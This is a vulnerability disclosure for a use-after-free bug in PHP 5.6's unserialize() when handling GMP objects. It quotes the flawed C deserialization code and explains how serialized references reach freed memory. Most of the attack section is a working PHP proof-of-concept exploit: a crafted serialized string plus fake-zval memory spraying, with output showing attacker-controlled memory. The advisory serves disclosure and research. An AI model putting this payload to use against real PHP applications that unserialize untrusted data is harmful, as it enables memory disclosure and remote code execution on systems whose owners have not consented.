Use After Free Vulnerability in unserialize()with GMP
Taoguang Chen <[@chtg](http://github.com/chtg)>
Write Date:2015.8.17
Release Date:2015.9.4
A use-after-free vulnerability was discovered in unserialize()with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6<5.6.13
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
static int gmp_unserialize(zval **object, zend_class_entry *ce, const
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data
TSRMLS_DC)/*{{{*/{...
INIT_ZVAL(zv);if(!php_var_unserialize(&zv_ptr,&p,max,&unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr)!= IS_STRING
|| convert_to_gmp(gmpnum, zv_ptr,10 TSRMLS_CC)== FAILURE
){
zend_throw_exception(NULL,"Could not unserialize number",0 TSRMLS_CC);
goto exit;}
zval_dtor(&zv);
INIT_ZVAL(zv);if(!php_var_unserialize(&zv_ptr,&p,max,&unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr)!= IS_ARRAY
){
zend_throw_exception(NULL,"Could not unserialize properties",0 TSRMLS_CC);
goto exit;}
The GMP object's deserialization can create ZVAL and free its
zval_value from memory via zval_dtor(). However during deserialization
will still allow to use R:or r: to set references to that already
freed memory. It is possible to use-after-free attack and execute
arbitrary code remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.<?php
$inner ='r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit ='a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$data = unserialize($exploit);
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .="\x00\x00\x00\x00";
$fakezval .="\x01";
$fakezval .="\x00";
$fakezval .="\x00\x00";for($i =0; $i <5; $i++){
$v[$i]= $fakezval.$i;}
var_dump($data);
function ptr2str($ptr){
$out ='';for($i =0; $i <8; $i++){
$out .=chr($ptr &0xff);
$ptr >>=8;}return $out;}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(2){[0]=>int(1122334455)<===so we can control the memory and create fake ZVAL :)[1]=>object(GMP)#1 (2) {[0]=>
array(1){[0]=>int(4325299791)}["num"]=>
string(1)"1"}}